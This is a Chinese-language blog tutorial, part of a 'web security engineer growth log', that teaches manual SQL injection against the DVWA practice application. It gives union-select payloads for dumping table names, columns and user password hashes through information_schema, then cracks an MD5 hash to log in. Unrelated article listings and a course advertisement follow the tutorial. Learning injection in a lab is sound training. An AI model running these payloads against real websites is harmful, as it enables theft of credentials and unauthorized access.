web安全工程师--成长记录

环境:dvwa1.7
数据库:mysql
前置知识:sql语句(Click me)
      
在进行sql注入前,我们先熟悉熟悉select语句。
一、打开我们的sql终端

二、进入之后可以看到有
mysql>
我们输入sql语句,即可返回我们想要的结果,注意分号哟!
我们使用的dvwa,在我们前几章设置的时候,会在数据库中生成一个dvwa的database;这里我们使用它来进行我们的select 语句:
(1)使用dvwa数据库
use dvwa;
(2)在users表里查询用户名为‘admin’的所有信息
select * from users where user=‘admin‘;
上面有三个要点,
[1] ‘*‘:通配符表示匹配所有内容,也就是来者不拒
[2] ‘where‘:关键字作为条件限定。
[3] 在数据库中字符串时一般由单引号包住的
在这里,select是从数据库检索数据的
(3)我们来看一下select语句另外一面,其实它相当于我们编程语言的输出语句。不信,我们来看看哈!
select ‘hello world!‘;
(4)倘若我们有多个数据要输出怎么办,这个时候可以使用“,”来分隔每个内容。
如:
select user,user_id from users where user=‘admin‘;

扩展当我们想要像上面只是输出多项数据,而不是检索数据的时候
select ‘hello‘,‘world‘;
select 1,2,3;
(5)union 联合
就是将union前面那堆数据,和后面那堆数据放在一起,以便能在一个表显示。注意什么叫放在一起呢?
请看例子:
select 1,2,3 union select 4,5,6;
解析,我们知道select 1,2,3是输出三个数字,分别为1,2,3。后面的select也是一样输出3个数字。
要是后面的输出的数据数目不一致,那么则会导致下列的错误
The used SELECT statements have a different number of columns

而这个则是我们之后进行sql注入的一个点
(6)我们接着继续来学习一个内容order by,这个是让我们检索出来的数据进行升序或者降序排列的。
select user,user_id from users order by user;
在这里我们,介绍一个概念就是“字段”。字段也就是一个表里面的数据列,每一个字段表示一列。如我们这里,我们select语句检索user,user_id两个数据列。当我们使用order by user的时候,会根据user数据列的的每一个数据的来进行排序,默认是升序asc。
我们看一下select user,user_id from users order by user_id;
可以看到user_id的顺序是递增的。要是递减的话,可以使用desc。

这里还有一个小tips就是:
  我们除了使用字段名来作为order by的条件外,还可以使用数字。
  1、表示的第一个字段
  2、表示的第二个字段
  如此类推就可以了,但是当不存在那个字段的时候,就会产生这样的错误。
  unknown column name xx
好了,到这里。我们这次需要的sql知识够了。下面我们开始我们的注入之旅

三、“兔崽子mysql,看见你的尾巴了,还跑!”
设置:
   我们把安全等级调整为low,先来让自己获得点信心,免得一来就被打脸。

1、测试和分析页面的功能
我们可以看到这里有一个输入框,根据上面的提示是,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入“1”

这里可以看到它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。

同时,我看一下浏览器的地址栏那里,可以发现url成这样了
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

我们可以看到这里有个id=1的东东,是不是就是我们输入的user id呢?
这里我们输入“2”,发现url变成了
http://localhost/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#
好了,到这里,我们可以得出这里穿进去的id的值使我们可控的。我们输入的什么,则会通过id传进去!

2、对id这个参数进行测试,查看一下它是否存在sql注入漏洞!
这里我们在输入框里面输入“1‘”,注意1后面有一个单引号“‘”。
可以发现,这里报错了。说我们的sql语句出现语法错误。

这里我们可以进行一个猜测,首先它这个id是被两个‘包住的。查询语句可能像这样
select firstname,surname from users where id = ‘1‘;
当我们在1之后加了一个引号,则会导致单引号数目不平衡,那时查询语句如下。
select firstname,surname from users where id = ‘1‘‘;
可以看到最后一个引号没被闭合,那我们该怎么办呢?
这个时候有好几种办法,
(1)我们在原来的基础上再继续输入多一个引号,也就是“1‘‘”。
这时候我们看一下查询语句
select firstname,surname from users where id = ‘1‘‘‘;
这时候得讲一个mysql的语法,

  • 在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
  • 我们来看几个例子。
  • 第一个是和我们上面类似的sql查询语句
  • select * from users where user_id = ‘1‘‘‘;
  • 第二个是来阐明我们这个优先级的,
  • select * from users where user_id = ‘1‘‘2‘;
  • 可以看到,出来的结果还是和user_id=1一样。
  • 我们再看一个长长的,
  • select * from users where user_id = ‘1‘‘2‘‘abc‘‘efg‘;
  • 事实胜于雄辩,可以看到结果还是和上面的一样。

(2)第二种方法是使用“#”符号来注释后面的单引号
到时查询语句将会变成这样,
select firstname,surname from users where id = ‘1‘#‘;
(3)第三种方法是使用“-- ”,这里注意了“--”后面有一个空格。在url当中,我们需要使用“+”来代替“--”后面的空格。
到时查询语句将会变成这样,
select firstname,surname from users where id = ‘1‘-- ‘;

好了,我们回到我们的测试页面。发现出来的结果和输入1一样。
到这里我们可以知道了
[1]漏洞的参数是“id”
[2]漏洞的类型是字符型

3、好了,我们在确认漏洞之后,需要进行构造payload了。
什么是payload?
就是一段恶意代码,以便我们能够获得数据里面的数据。
(1)分析字段数
基本的话,他也是有两种方法的
[1]分析字段数的原因是我们之后需要用union select语句获得我们需要的敏感数据。
那么,这里,我留下一个问题:为什么我这里能够猜想到用union的办法来获得数据呢?
(提示:这个页面的功能的是什么?)
根据上面我们的order by知识知道,要是后面跟着的数字超出了字段数的时候,则会报错!通过这个我们可以确定字段数。
我们构造的payload如下:
1‘ order by 1#
1‘ order by 2#
1‘ order by 3#
当输入到3的时候,发现它报错了。也就是字段数为2

[2]第二种方法就是直接用union select来猜测字段数,因为当字段数不对应的时候,它也是会发生报错的!
1‘ union select 1#
1‘ union select 1,2#
1‘ union select 1,2,3#
可以发现,当union select 1,2的时候没有报错,也就是字段数为2。同时,我们也应该注意到,好像返回的内容多了三条数据,这是啥呢?

这就是我们我们union select出来的数据了。我们获取数据的信息,就通过将1,2换成数据的信息,这样通过查看页面,我们便可以获得了!
Tips:当字段数较少的时候无所谓,字段数一多起来,你就傻了。下一节课的hack with python。我们将会编写脚本去做这些无谓的工作

(2)字段数为2,也就是select出来的数据列有两列。也就是我们可以通过union select出两个数据。好了我们来获得关于我们数据库的信息吧!
1、获取当前数据库名字,当前用户名
1‘ union select database(),user()#
这里解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
好的,这里我们看到
当前数据库为:dvwa
当前用户名:[email protected]

类似的函数:version() 获取当前数据库版本
Tips:有时候,后面的select语句会限制输出的行数,通过limit 1,所以我们一般来说,都会让原数据库查询无效,也就是输入无效的id。
如下:
-1‘ union select database(),user()#
这样就只会返回我们的数据了
2、好了我们的目的的是获取当前的用户表,所以继续构造payload。
根据上面的信息,我们知道当前数据库名为dvwa。可是还不够呀!表名是什么呀?
好了,是不是打算放弃了。。。。-_-|||
Tips:吃根辣条冷静一下,我们想想哈,
当你上小学的时候,有不懂的字肿么办?  答:有新华字典呀,你妹!
那么mysql有没有类似新华的字典的东东呢?答案是有的
它的这本新华字典叫做information_schema,是一个包含了mysql数据库所有信息的新华字典,有啥关于数据库的信息不知道问它没问题!它本质上还是一个database,存着其他各个数据的信息。
在其中,有一个表长成这样tables。有一个表长这样columns。
是不是有点感觉了?
是的,tables这个表存的是关于数据库中所有表的信息,他有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的表所在的数据库。
对于columns,它有column_name,table_schema,table_name

这里回想一下,我们拥有的消息是数据库名。也就是说我们可以构造这样的payload
-1‘ union select table_name,2 from information_schema.tables where table_schema= ‘dvwa‘#
你是不是想问,information_schema.tables是啥呢?
information_schema不就使我们的新华字典咯!这里我们使用一种语法,
“数据名.表名”
tables就相当于我们新华字典的目录,table_name是tables里面的字段。语句的意思就是,这里是一本新华字典帮我把数据库名为"dvwa"这个偏旁部首的字(表名)找出来。

可以看到,(д)b,好多数据呀!我们对那个感兴趣呢??
当然,是users表啦!
那之后呢?不是说还有一个columns表么?

  • 那我们需要什么?需要table_name以及table_schema
  • 那我们查什么呢?column_name

这次我们的构造的payload如下
-1‘ union select column_name,2 from information_schema.columns where table_schema= ‘dvwa‘ and table_name= ‘users‘#
这里说一下,倘若不指定数据库名为‘dvwa‘,若是其他数据里面也存在users表的话,则会有很多混淆的数据。

又来了,(д)b,好多数据呀!我们对那个感兴趣呢??
当然是user,password啦!两个字段刚刚好
好的,我们再次修改payload
-1‘ union select user,password from users#

Binggo!我们注出所有用户名和密码值,等等!这密码好像有点奇葩,数一数,32位!
这里的密码是经过md5加密的,好不容易注入出管理账号和密码,但是密码加密了
没办法了吗?不一定!
Tips:小子,谁叫你遇上了我呢!看我乾坤大挪移
这个时候,我们需要找一些md5破解的网站,来进行破解!
好了,我比较喜欢的是这个Click
好,我们这里选择的是pablo的这个进行破解,md5密文为:0d107d09f5bbe40cade3de5c71e9e9b7

可以看到密码已经被破解出来了,密码是“letmein”,我们验证一下!
看,这个时候我们已经成功登陆了!

本文到此,结束!下一节,我们会将安全等级调整为中,然后再进行注入!同时还会分享黑盒测试以及白盒测试的两个知识点!

时间: 2024-11-08 10:25:27

web安全工程师--成长记录的相关文章

2017年Java web开发工程师成长之路

详情请交流  QQ  709639943 00.2017年Java web开发工程师成长之路 00.R语言速成实战 00.R语言数据分析实战 00.Python+Django+Ansible Playbook自动化运维项目实战 00.Java深入微服务原理改造房产销售平台 00.Python3入门机器学习 经典算法与应用 00.老司机学python篇:第一季(基础速过.机器学习入门) 00.Python 从入门到精通 78节.2000多分钟.36小时的高质量.精品.1080P高清视频教程!包括标

Web前端工程师成长之路——知识汇总

一.何为Web前端工程师? 前端工程师,也叫Web前端开发工程师.他是随着web发展,细分出来的行业.Web前端开发工程师,主要职责是利用(X)HTML/CSS/JavaScript/DOM/Flash等各种Web技术进行产品的界面开发.制作标准优化的代码,并增加交互动态功能,开发JavaScript以及Flash模块,同时结合后台开发技术模拟整体效果,进行丰富互联网的Web开发,致力于通过技术改善用户体验. 图1.前端技术MSS Web前端开发技术主要包括三个要素:HTML.CSS和JavaS

web前端工程师知识汇总

分类: Web开发应用 一.何为Web前端工程师? 前端工程师,也叫Web前端开发工程师.他是随着web发展,细分出来的行业.Web前端开发工程师,主要职责是利用(X)HTML/CSS/JavaScript/DOM/Flash等各种Web技术进行产品的界面开发.制作标准优化的代码,并增加交互动态功能,开发JavaScript以及Flash模块,同时结合后台开发技术模拟整体效果,进行丰富互联网的Web开发,致力于通过技术改善用户体验. Web前端工程师成长之路--知识汇总 图1.前端技术MSS W

一名优秀的Web前端工程师的成长之路

我所遇到的前端程序员分两种: 第一种一直在问:如何学习前端? 第二种总说:前端很简单,就那么一点东西. 我从没有听到有人问:如何做一名优秀.甚至卓越的WEB前端工程师. 何为:前端工程师? 前端工程师,也叫Web前端开发工程师.他是随着web发展,细分出来的行业. Web前端开发技术主要包括三个要素:HTML.CSS和JavaScript! 它要求前端开发工程师不仅要掌握基本的Web前端开发技术,网站性能优化.SEO和服务器端的基础知识,而且要学会运用各种工具进行辅助开发以及理论层面的知识,包括

软件测试工程师成长之路:掌握软件测试九大技术主题

软件测试工程师成长之路:掌握软件测试九大技术主题 王顺 等 编著   ISBN 978-7-121-23996-0 2014年9月出版 定价:85.00元 432页 16开 内容提要 <软件测试工程师成长之路:掌握软件测试九大技术主题>以实际项目为原型.以关键理论与丰富实践为指导,贯彻了先进的项目管理理念与全程质量管理思想. <软件测试工程师成长之路:掌握软件测试九大技术主题>前9 章为软件测试九大技术主题分享,是众多资深软件工程师在软件测试领域的经验总结.知识升华与提高,展现众多

网络工程师成长日记316-宝鸡冀东水泥厂技术支持

这是网络工程师成长日记的第316篇连载文章,记录网络工程师行业的点点滴滴,结交IT行业有缘之人 这是第一次在老大带领下去较远的地方做工程,对于此次宝鸡之行我觉得收获颇多.出发前在听到去宝鸡冀东水泥公司调试的是华为设备,由于之前没有接触到华为的设备,出发前我还是比较担心,同时也有些紧张.经过长时间的车程,最终到达冀东水泥宝鸡凤翔分公司. 到达现场后,老大很快就和赵师傅处了解施工方的情况.以及我们到达机房所要做的事,并认真考虑配置方法.从开始我就有一些紧张,期间老大也多次与赵师傅讨论施工策略,并带领

web前端工程师知识学习路线

想要成为一名优秀的web前端工程师(http://www.maiziedu.com/course/web/)需要具备哪些技能?因为web前端开发涵盖了许多领域的技术,那么需要掌握的技能有哪些呢?下面就一起来看看web前端工程师必备技能知识. 1.界面和用户体验 注意,浏览器的实现标准是不一致的,请确保你的网站能够兼容所有主流的浏览器.最少需要测试的有 Gecko 引擎(Firefox),WebKit引擎(Safari以及一些手机浏览器),Chrome,你所要支持的 IE 浏览器,以及 Opera

没搞错吧,我只是个web前端工程师,不是manager,也不是leader...

那个时候,我只想好好的学习web前端技术,恨不得把有限的时间和精力都放在提升技术上. 然而,让自己在坑里茁壮成长,要先适应坑内的环境. 首当其冲我们要弄明白的事情有: 团队成员的技术能力和状态 Leader的风格和对团队的要求与期望 我在团队中的定位和价值 这里会给我带来哪些提升 在这里工作期间还可以学到什么 这样,在接下来的工作中,就能更好的适应团队.比如和哪些人多聊技术,和哪些人在一起多听少说,和哪些人多聊段子,哈哈哈... 真正到了分配工作任务的时候,我估计多半新同学的内心和我一样,都是一

网络工程师成长日记076-如何成为网络工程师中的高手

这是我的第076篇原创文章,记录网络工程师行业的点点滴滴,结交IT行业有缘之人 首先,所有最重要的就是你要有坚定不移的信念学习网络工程师 相信你自己完全可以做到这是所有的重中之重,因为如果你没有信心,用什么方法都很难,我写的这些也都成了废话. 根据自己从事网络工程师行业,也从事过网络工程司培训,一共十五年从业的时间,曾经在外企,在世界五百强,在中小型企业都待过,我接触过大量的优秀的工程师,带过大量的,中国移动,中国电信,中国联通的技术员工,也培养过很多的大学生,所以我把培训的最有效的一些方法总结